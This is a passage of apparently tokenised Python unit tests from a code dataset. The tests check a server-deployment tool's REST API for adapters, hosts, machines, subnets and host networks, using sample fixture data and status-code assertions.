"value_", "=_", "self_", "._", "delete_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "404_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Test", "Adapt", "er", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "adapter", " ", "api", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "Adapt", "er", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "set", "Up_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Test", "Adapt", "er", "API_", ",_", "self_", ")_", "._", "set", "Up_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "adapter", "\\u", "name_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "adapter", "\\u", "id_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "'/", "adapter", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "adapters_", "=_", "json_", "._", "loads_", "(_", "self_", "._", "get_", "(_", "url_", ")_", "._", "get", "\\u", "data_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "adapter_", "in_", "adapters_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "adapter_", "[_", "'", "flavor", "s", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "adapter", "\\u", "name_", "=_", "adapter_", "[_", "'", "name", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "adapter", "\\u", "id_", "=_", "adapter_", "[_", "'", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Adapt", "er", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "tear", "Down_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Test", "Adapt", "er", "API_", ",_", "self_", ")_", "._", "tear", "Down_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Adapt", "er", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "list", "\\u", "adapters_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "list", " ", "adapter", "s", " ", "success", "full", "y_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'/", "adapter", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "get_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "json_", "._", "loads_", "(_", "return", "\\u", "value_", "._", "get", "\\u", "data_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "count_", "=_", "len_", "(_", "resp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "count_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "give", " ", "a", " ", "non", "-", "existed", " ", "filter_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'/", "adapter", "s", "?", "name", "=", "xx", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "json_", "._", "loads_", "(_", "self_", "._", "get_", "(_", "url_", ")_", "._", "get", "\\u", "data_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "[_", "]_", ",_", "return", "\\u", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Adapt", "er", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "show", "\\u", "adapter_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "show", " ", "an", " ", "adapter", " ", "success", "full", "y_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'/", "adapter", "s", "/", "%", "s", "'_", "%_", "self_", "._", "adapter", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "get_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "json_", "._", "loads_", "(_", "return", "\\u", "value_", "._", "get", "\\u", "data_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "resp_", "[_", "'", "name", "'_", "]_", ",_", "self_", "._", "adapter", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "give", " ", "a", " ", "non", "-", "existed", " ", "id_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'/", "adapter", "s", "/", "9", "9", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "get_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "404_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Test", "Host", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "host", " ", "api", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "Host", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "set", "Up_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Test", "Host", "API_", ",_", "self_", ")_", "._", "set", "Up_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "add", " ", "a", " ", "machine", " ", "to", " ", "get", " ", "the", " ", "machine", "\\u", "id_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'", "switche", "s", "/", "1", "/", "machine", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "datas_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "mac", "'_", ":_", "'", "2", "8", ":", "6e", ":", "d4", ":", "4", "6", ":", "c4", ":", "25", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "port", "'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "location", "'_", ":_", "'", "test\\u", "location", "1", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "mac", "'_", ":_", "'", "00", ":", "0c", ":", "2", "9", ":", "bf", ":", "eb", ":", "1d", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "port", "'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "location", "'_", ":_", "'", "test\\u", "location", "2", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "machine", "\\u", "id_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", ",_", "data_", "in_", "enumerate_", "(_", "datas_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return", "\\u", "value_", "=_", "self_", "._", "post_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "json_", "._", "loads_", "(_", "return", "\\u", "value_", "._", "get", "\\u", "data_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "machine", "\\u", "id_", "[_", "i_", "]_", "=_", "resp_", "[_", "'", "machine", "\\u", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "add", " ", "a", " ", "host_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "url_", "=_", "'/", "cluster", "s", "/", "1", "/", "host", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "datas_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "machine", "\\u", "id", "'_", ":_", "machine", "\\u", "id_", "[_", "0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "test\\u", "host", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "rein", "stall", "\\u", "os", "'_", ":_", "True_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "machine", "\\u", "id", "'_", ":_", "machine", "\\u", "id_", "[_", "1_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "test\\u", "host", "s2", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "rein", "stall", "\\u", "os", "'_", ":_", "True_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "data_", "in_", "datas_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "post_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "add", " ", "host", "\\u", "network_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "url_", "=_", "'/", "subnet", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "subnet", "'_", ":_", "'", "10.1", "72.", "20.", "0", "/", "24", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "test\\u", "subnet", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "post_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "'/", "host", "s", "/", "1", "/", "network", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "datas_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "interface", "'_", ":_", "'", "eth", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "ip", "'_", ":_", "'", "10.1", "72.", "20.", "9", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "subnet", "\\u", "id", "'_", ":_", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "mg", "mt", "'_", ":_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "promis", "cuo", "us", "'_", ":_", "False_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "interface", "'_", ":_", "'", "eth", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "ip", "'_", ":_", "'", "10.1", "72.", "20.", "110", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "subnet", "\\u", "id", "'_", ":_", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "mg", "mt", "'_", ":_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "promis", "cuo", "us", "'_", ":_", "False_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "data_", "in_", "datas_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "post_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Host", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "tear", "Down_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Test", "Host", "API_", ",_", "self_", ")_", "._", "tear", "Down_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Host", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "list", "\\u", "hosts_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "list", " ", "host", "s", " ", "success", "full", "y_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'/", "host", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "get_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "json_", "._", "loads_", "(_", "return", "\\u", "value_", "._", "get", "\\u", "data_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "count_", "=_", "len_", "(_", "resp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "count_", ",_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "give", " ", "a", " ", "non", "-", "existed", " ", "name_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'/", "host", "s", "?", "name", "=", "xx", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "get_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "json_", "._", "loads_", "(_", "return", "\\u", "value_", "._", "get", "\\u", "data_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "[_", "]_", ",_", "resp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Host", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "show", "\\u", "host_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "show", " ", "a", " ", "host", " ", "success", "full", "y_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'/", "host", "s", "/", "1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "get_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "json_", "._", "loads_", "(_", "return", "\\u", "value_", "._", "get", "\\u", "data_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "resp_", "[_", "'", "name", "'_", "]_", ",_", "'", "test\\u", "host", "1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "give", " ", "a", " ", "non", "-", "existed", " ", "id_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'/", "host", "s", "/", "9", "9", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "get_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "404_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Host", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "list", "\\u", "machine", "s", "\\u", "or", "\\u", "hosts_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'/", "machine", "s", "-", "host", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "get_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Host", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "show", "\\u", "machine", "\\u", "or", "\\u", "host_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'/", "machine", "s", "-", "host", "s", "/", "1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "get_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Host", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "update", "\\u", "host_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "update", " ", "a", " ", "host", " ", "success", "full", "y_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'/", "host", "s", "/", "1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "update", "\\u", "host", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "put_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "json_", "._", "loads_", "(_", "return", "\\u", "value_", "._", "get", "\\u", "data_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "resp_", "[_", "'", "name", "'_", "]_", ",_", "'", "update", "\\u", "host", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "give", " ", "a", " ", "wrong", " ", "filter_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "location", "'_", ":_", "'", "update", "\\u", "location", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "put_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "400_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "In_", "(_", "'", "are", " ", "not", " ", "support", "ed", "'_", ",_", "return", "\\u", "value_", "._", "get", "\\u", "data_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "give", " ", "a", " ", "non", "-", "existed", " ", "id_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'/", "host", "s", "/", "9", "9", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "host", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "put_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "404_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Host", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "delete", "\\u", "host_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "delete", " ", "a", " ", "host", " ", "success", "full", "y_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'/", "host", "s", "/", "2", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "delete_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "give", " ", "a", " ", "non", "-", "existed", " ", "id_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'/", "host", "s", "/", "9", "9", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "delete_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "404_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Host", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "list", "\\u", "host", "\\u", "networks_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'/", "host", "s", "/", "1", "/", "network", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "get_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "json_", "._", "loads_", "(_", "return", "\\u", "value_", "._", "get", "\\u", "data_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "count_", "=_", "len_", "(_", "resp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "count_", ",_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Host", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "show", "\\u", "host", "\\u", "network_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'/", "host", "s", "/", "1", "/", "network", "s", "/", "1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "get_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "json_", "._", "loads_", "(_", "return", "\\u", "value_", "._", "get", "\\u", "data_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 